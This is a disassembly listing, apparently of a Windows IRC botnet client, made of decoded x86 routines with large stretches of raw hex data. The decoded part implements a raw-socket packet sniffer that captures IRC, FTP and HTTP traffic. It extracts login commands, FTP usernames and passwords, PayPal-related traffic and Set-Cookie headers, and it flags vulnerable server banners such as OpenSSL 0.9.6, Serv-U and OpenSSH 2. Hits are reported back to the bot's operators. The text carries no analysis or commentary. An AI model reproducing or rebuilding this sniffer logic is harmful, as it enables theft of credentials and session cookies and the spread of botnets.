dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h
dd 90000001h, 24F648E8h, 858D5302h, 0FFFFF888h, 0FF24B5FFh
dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h
dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh
dd 0FFFF9AF6h, 531CC483h, 0E6DAE890h, 7D8B022Bh, 0A09F3908h
dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
dd 1FFh, 9C2AE800h, 0C4830000h, 0E4458D0Ch, 858D5350h
dd 0FFFFF784h, 0FF535053h, 4CAF5C15h, 0FC08500h, 2398Eh
dd 0D128A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
dd 45C7FFFFh, 10F4h, 66ABF300h, 458DAAABh, 458D50F4h, 8D5350C4h
dd 0FFFF3085h, 8068FFh, 56500000h, 0AF4C15FFh, 75FF004Ch
dd 0F84589C8h, 0B00015FFh, 8D50004Ch, 0E850B045h, 9EAEh
dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h, 0FFFFFF31h
dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h
dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h
dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
dd 0FF5650FFh, 4CAFD815h, 0B0458D00h, 88858D50h, 68FFFFF8h
dd 43469Ch, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh
dd 0E850FFFFh, 3704h, 110E959h, 0BD800000h, 0FFFFFF31h
dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
dd 200BFh, 9E0C100h, 5053C72Bh, 0E8FC75FFh, 0B6D4h, 8DFC75FFh
dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h, 8DF88B1Ch
dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
dd 15FF5650h, 4CAFD8h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
dd 7C68FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h
dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h
dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDA7C05h, 16EB5900h
dd 8DF475FFh, 5350C445h, 7068096Ah, 56004346h, 0AFD815FFh
dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh, 4CB00C15h
dd 0FC75FF00h, 9482E8h, 9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 0E406E853h, 6890022Bh
dd 3E8h, 0F327E890h, 0E8570224h, 0FFFFFB8Ah, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 314h
lea eax, [ebp-10h]
push esi
push eax
nop
call near ptr 278019Bh
lea eax, [ebp-114h]
push 104h
push eax
nop
call near ptr 2660AB7h
lea eax, [ebp-114h]
push offset asc_434E5C ; "\\"
push eax
call sub_41BEC0
lea eax, [ebp-114h]
push offset dword_429118
push eax
call sub_41BEC0
lea eax, [ebp-114h]
push offset aAb ; "ab"
push eax
call sub_41B4C2
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_411C7A
push 1
pop eax
jmp short loc_411CF1
; ---------------------------------------------------------------------------
loc_411C7A: ; CODE XREF: ___:00411C73j
movzx eax, word ptr [ebp-4]
push dword ptr [ebp+8]
push eax
movzx eax, word ptr [ebp-6]
push eax
movzx eax, word ptr [ebp-8]
push eax
movzx eax, word ptr [ebp-10h]
push eax
movzx eax, word ptr [ebp-0Ah]
push eax
movzx eax, word ptr [ebp-0Eh]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_41BE06
push esi
call sub_41B05B
add esp, 28h
cmp dword ptr [ebp+98h], 0
jnz short loc_411CEF
push dword ptr [ebp+8]
lea eax, [ebp-314h]
push offset dword_434E2C
push 200h
push eax
call sub_41B980
push 0
lea eax, [ebp-314h]
push dword ptr [ebp+94h]
push eax
lea eax, [ebp+14h]
push eax
push dword ptr [ebp+0Ch]
call sub_409A72
add esp, 24h
loc_411CEF: ; CODE XREF: ___:00411CB6j
xor eax, eax
loc_411CF1: ; CODE XREF: ___:00411C78j
pop esi
leave
retn
; ---------------------------------------------------------------------------
dword_411CF4 dd 81EC8B55h, 8DCECh, 8458B00h, 83575653h, 0FFF724A5h
; DATA XREF: sub_401ACD+4508o
dd 256A00FFh, 0FC6583h, 8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh
dd 9080h, 100h, 0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh
dd 0AEF815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF1015FFh
dd 0BB004Ch, 6A000002h, 0F1D7E808h, 0FF900224h, 4CAEF815h
dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF1015FFh
dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h, 68FFFFFBh
dd 434E8Ch, 9AF8E850h, 0EC810000h, 84h, 0FF24B58Dh, 858DFFFFh
dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh
dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h, 0A4C4h
dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h
dd 46C40845h, 106A0043h, 0AE4815FFh, 0BF0F004Ch, 8458BF0h
dd 57FC788Bh, 0AF4015FFh, 0C4F6004Ch, 6A7B7480h, 4815FF14h
dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh
dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h
dd 4815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h
dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h
dd 84C7107Dh, 0FFF724BDh, 3FFh, 140E900h, 84C70000h, 0FFF724BDh
dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh
dd 0FFFFF724h, 840FF685h, 11Ah, 8D002083h, 0FFFD2485h
dd 8FF83FFh, 0E8137550h, 9140h, 2305A480h, 0FFFFFDh, 0F8E959h
dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAEF815h, 0B84D8D00h
dd 50513C6Ah, 0AF1015FFh, 458D004Ch, 858D50B8h, 0FFFFFD24h
dd 4E746850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh
dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAEF8h, 6AB84D8Dh
dd 0FF50513Ch, 4CAF1015h, 0B8458D00h, 24858D50h, 50FFFFFDh
dd 434E6068h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h
dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh, 0FC8B5925h
dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh
dd 9632E850h, 0C4810000h, 0A4h, 0FB24858Dh, 6A53FFFFh
dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h
dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h
dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h
dd 7D811408h, 434DF408h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh
dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h
dd 2BE02BE8h
db 2
byte_411FD5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+412Ao
dd 102B4B8h, 9B3EE800h, 558B0000h, 6A575608h, 0F28B5801h
dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h, 45C7660Ch
dd 560002E4h, 0AF7415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
dd 0FF8BE2E8h, 0FF5059FFh, 4CAFB415h, 36A5600h, 4589026Ah
dd 0F415FFE8h, 8B004CAFh, 0FFFF83F8h, 75FC7D89h, 815FF5Dh
dd 50004CAFh, 0FD4C858Dh, 0FC68FFFFh, 50004357h, 9821E8h
dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh
dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh
dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h
dd 565959FFh, 0DF56E890h, 458B022Bh, 69106AD0h, 234C0h
dd 0BCB88900h, 8D0043DEh, 5750E445h, 0AFA015FFh, 0F883004Ch
dd 0FF6475FFh, 4CAF0815h, 858D5000h, 0FFFFFD4Ch, 4357D068h
dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h, 0FD4C858Dh
dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh
dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
dd 0C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0DED2E856h
dd 5690022Bh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
dd 4CAF2015h, 0FFF88300h, 15FF6475h, 4CAF08h, 4C858D50h
dd 68FFFFFDh, 4357A0h, 9720E850h, 0C4830000h, 0D875390Ch
dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch
dd 3012E850h, 57590000h, 0B00C15FFh, 75FF004Ch, 9268E8D0h
dd 5659FFFFh, 2BDE4FE8h, 0BB539002h, 434EB8h, 0FFFFBFh
dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h, 858D0CC4h
dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAF8Ch, 0FFFF883h
dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h
dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 9468FFFEh
dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
dd 578468FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h
dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
dd 0AEA415FFh, 0B70F004Ch, 75FF50C0h, 15FFF4h, 50004CB0h
dd 8B7F048Dh, 4ECCC504h, 34FF0043h, 434EA885h, 4C858D00h
dd 68FFFFFDh, 435750h, 20068h, 0D5E85000h, 83000096h, 75391CC4h
dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h
dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h
dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 815FFFFh, 50004CAFh
dd 43572468h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h
dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h
dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB00C15h
dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 2BDCAFE8h
db 2
; =============== S U B R O U T I N E =======================================
sub_412351 proc near ; CODE XREF: sub_412660+213p
; sub_412660+239p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_4CDCE0, eax
mov eax, offset dword_4CDCE0
retn
sub_412351 endp
; =============== S U B R O U T I N E =======================================
sub_412360 proc near ; CODE XREF: sub_412660+2BFp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aBotSniff ; "Bot sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41237A
loc_412376: ; CODE XREF: sub_412360+29j
; sub_412360+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41237A: ; CODE XREF: sub_412360+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412376
push offset aPsniff_1 ; "[PSNIFF]:"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412376
push offset aPsniff_0 ; "PSNIFF//"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412376
push offset aJoin_0 ; "JOIN #"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4123C2
loc_4123BE: ; CODE XREF: sub_412360+71j
; sub_412360+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4123C2: ; CODE XREF: sub_412360+5Cj
push offset a302_0 ; "302 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset a366 ; "366 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset a_login_0 ; ":.login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset aLogin_0 ; ":!login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset aLogin ; ":!Login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset a_login ; ":.Login"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset a_ident ; ":.ident"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4123BE
push offset aIdent_0 ; ":!ident"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz loc_4123BE
push offset a_hashin ; ":.hashin"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz loc_4123BE
push offset aHashin ; ":!hashin"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412360 endp
; =============== S U B R O U T I N E =======================================
sub_412477 proc near ; CODE XREF: sub_412660+2F8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aIrcSniff ; "IRC sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_412491
loc_41248D: ; CODE XREF: sub_412477+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412491: ; CODE XREF: sub_412477+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41248D
push offset aOper_0 ; "OPER "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4124B7
loc_4124B3: ; CODE XREF: sub_412477+4Fj
; sub_412477+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4124B7: ; CODE XREF: sub_412477+3Aj
push offset aNick_1 ; "NICK "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4124B3
push offset aOper ; "oper "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4124B3
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412477 endp
; =============== S U B R O U T I N E =======================================
sub_4124ED proc near ; CODE XREF: sub_412660+32Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aFtpSniff ; "FTP sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_412507
loc_412503: ; CODE XREF: sub_4124ED+29j
; sub_4124ED+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412507: ; CODE XREF: sub_4124ED+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412503
push offset aNick_1 ; "NICK "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412503
push offset a220 ; "220 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41253E
loc_41253A: ; CODE XREF: sub_4124ED+60j
; sub_4124ED+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_41253E: ; CODE XREF: sub_4124ED+4Bj
push offset a230 ; "230 "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41253A
push offset aUser_3 ; "USER "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41253A
push offset aPass_0 ; "PASS "
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4124ED endp
; =============== S U B R O U T I N E =======================================
sub_412574 proc near ; CODE XREF: sub_412660+35Fp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aHttpSniff ; "HTTP sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41258E
loc_41258A: ; CODE XREF: sub_412574+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41258E: ; CODE XREF: sub_412574+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41258A
push offset aPaypal ; "paypal"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4125B4
loc_4125B0: ; CODE XREF: sub_412574+4Fj
; sub_412574+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4125B4: ; CODE XREF: sub_412574+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4125B0
push offset aPaypal_com_0 ; "PAYPAL.COM"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4125B0
push offset aPaypal_com ; "paypal.com"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4125B0
push offset aSetCookie ; "Set-Cookie:"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412574 endp
; =============== S U B R O U T I N E =======================================
sub_4125FB proc near ; CODE XREF: sub_412660:loc_412A25p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aVulnSniff ; "VULN sniff"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_412615
loc_412611: ; CODE XREF: sub_4125FB+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412615: ; CODE XREF: sub_4125FB+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412611
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_41263B
loc_412637: ; CODE XREF: sub_4125FB+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_41263B: ; CODE XREF: sub_4125FB+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_412637
push offset aOpenssh_2 ; "OpenSSH_2"
push esi
call sub_41B900
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4125FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412660 proc near ; DATA XREF: sub_401ACD+427Co
var_113B8 = byte ptr -113B8h
var_113AF = byte ptr -113AFh
var_113AC = dword ptr -113ACh
var_113A8 = dword ptr -113A8h
var_113A4 = dword ptr -113A4h
var_1138C = byte ptr -1138Ch
var_13B8 = byte ptr -13B8h
var_BB8 = byte ptr -0BB8h
var_3B8 = byte ptr -3B8h
var_3B7 = byte ptr -3B7h
var_2B8 = byte ptr -2B8h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 113B8h
call sub_41BB20
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp+var_B8]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_3B7]
push 3Fh
mov [eax+90h], esi
pop ecx
xor eax, eax
mov [ebp+var_3B8], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp+var_3B8]
mov [ebp+var_20], 2
push eax
mov [ebp+var_1E], bx
mov [ebp+var_1C], ebx
call dword_4CAF88
lea eax, [ebp+var_3B8]
push eax
call dword_4CAFF8
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp+var_8]
push eax
call sub_41C310
mov eax, [ebp+var_8]
add esp, 0Ch
mov [ebp+var_1C], eax
push ebx
push 3
push 2
call dword_4CAFF4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_412706
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_412706: ; CODE XREF: sub_412660+9Bj
lea eax, [ebp+var_20]
push 10h
push eax
push edi
call dword_4CAFA0
cmp eax, 0FFFFFFFFh
jnz short loc_41277C
call dword_4CAF08
push eax
lea eax, [ebp+var_2B8]
push offset unk_435AD0
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_412758
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409A72
add esp, 14h
loc_412758: ; CODE XREF: sub_412660+D6j
lea eax, [ebp+var_2B8]
push eax
call sub_4151AC
pop ecx
push edi
call dword_4CB00C
push [ebp+var_34]
call sub_40B412
pop ecx
push ebx
nop
call near ptr 26D0000h
loc_41277C: ; CODE XREF: sub_412660+B6j
push ebx
lea eax, [ebp+var_24]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push 98000001h
push edi
mov [ebp+var_C], esi
call dword_4CAF20
cmp eax, 0FFFFFFFFh
jnz short loc_412802
call dword_4CAF08
push eax
lea eax, [ebp+var_2B8]
push offset unk_435AA0
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_4127DE
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409A72
add esp, 14h
loc_4127DE: ; CODE XREF: sub_412660+15Cj
lea eax, [ebp+var_2B8]
push eax
call sub_4151AC
pop ecx
push edi
call dword_4CB00C
push [ebp+var_34]
call sub_40B412
pop ecx
push ebx
nop
call near ptr 26D0000h
loc_412802: ; CODE XREF: sub_412660+13Cj
mov esi, 200h
loc_412807: ; CODE XREF: sub_412660+1D6j
; sub_412660+1FBj ...
mov edi, 0FFFFh
lea eax, [ebp+var_113B8]
push edi
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_113B8]
push ebx
push edi
push eax
push [ebp+var_10]
call dword_4CAF8C
cmp [ebp+var_113AF], 6
jnz short loc_412807
push [ebp+var_113A4]
mov edi, dword_4271E4
call edi ; htons
push [ebp+var_113A4+2]
movzx eax, ax
mov [ebp+arg_0], eax
call edi ; htons
cmp [ebp+arg_0], 6Eh
movzx edi, ax
jz short loc_412807
cmp [ebp+arg_0], 19h
jz short loc_412807
cmp edi, 6Eh
jz short loc_412807
cmp edi, 19h
jz short loc_412807
push [ebp+var_113AC]
call sub_412351
pop ecx
push dword ptr [eax]
nop
call near ptr 71AB401Ch
push eax
lea eax, [ebp+var_13B8]
push offset aS_1 ; "%s"
push eax
call sub_41B886
push [ebp+var_113A8]
call sub_412351
add esp, 10h
push dword ptr [eax]
nop
call near ptr 71AB401Ch
push eax
lea eax, [ebp+var_BB8]
push offset aS_1 ; "%s"
push eax
call sub_41B886
lea eax, [ebp+var_1138C]
mov [ebp+var_4], ebx
push eax
call sub_41AFE0
add esp, 10h
test eax, eax
jle short loc_412905
loc_4128D1: ; CODE XREF: sub_412660+2A3j
mov eax, [ebp+var_4]
cmp [ebp+eax+var_1138C], 0Dh
lea eax, [ebp+eax+var_1138C]
jnz short loc_4128E8
mov byte ptr [eax], 20h
loc_4128E8: ; CODE XREF: sub_412660+283j
cmp byte ptr [eax], 0Ah
jnz short loc_4128F0
mov byte ptr [eax], 20h
loc_4128F0: ; CODE XREF: sub_412660+28Bj
inc [ebp+var_4]
lea eax, [ebp+var_1138C]
push eax
call sub_41AFE0
cmp [ebp+var_4], eax
pop ecx
jl short loc_4128D1
loc_412905: ; CODE XREF: sub_412660+26Fj
cmp [ebp+arg_0], 50h
jz loc_4129B8
cmp edi, 50h
jz loc_4129B8
lea eax, [ebp+var_1138C]
push eax
call sub_412360
test al, al
pop ecx
jz short loc_41294C
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_435A6C
jmp loc_4129E7
; ---------------------------------------------------------------------------
loc_41294C: ; CODE XREF: sub_412660+2C7j
cmp edi, 50h
jz short loc_4129B8
lea eax, [ebp+var_1138C]
push eax
call sub_412477
test al, al
pop ecx
jz short loc_412982
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_435A38
jmp short loc_4129E7
; ---------------------------------------------------------------------------
loc_412982: ; CODE XREF: sub_412660+300j
cmp edi, 50h
jz short loc_4129B8
lea eax, [ebp+var_1138C]
push eax
call sub_4124ED
test al, al
pop ecx
jz short loc_4129B8
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_435A04
jmp short loc_4129E7
; ---------------------------------------------------------------------------
loc_4129B8: ; CODE XREF: sub_412660+2A9j
; sub_412660+2B2j ...
lea eax, [ebp+var_1138C]
push eax
call sub_412574
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_412A25
lea eax, [ebp+var_BB8]
push edi
push eax
lea eax, [ebp+var_13B8]
push [ebp+arg_0]
push eax
push offset unk_4359CC
loc_4129E7: ; CODE XREF: sub_412660+2E7j
; sub_412660+320j ...
lea eax, [ebp+var_2B8]
push esi
push eax
call sub_41B980
add esp, 20h
cmp [ebp+var_2C], ebx
jnz loc_412807
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409A72
add esp, 14h
jmp loc_412807
; ---------------------------------------------------------------------------
loc_412A25: ; CODE XREF: sub_412660+36Ej
call sub_4125FB
test al, al
pop ecx
jz loc_412807
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_435994
jmp short loc_4129E7
sub_412660 endp
; ---------------------------------------------------------------------------
byte_412A53 db 55h ; DATA XREF: sub_401ACD+6542o
dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh
dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 226DDE5h
dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh
dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
dd 8D5014C4h, 0FFFB6C85h, 5AFC68FFh, 0E8500043h, 8DCAh
dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
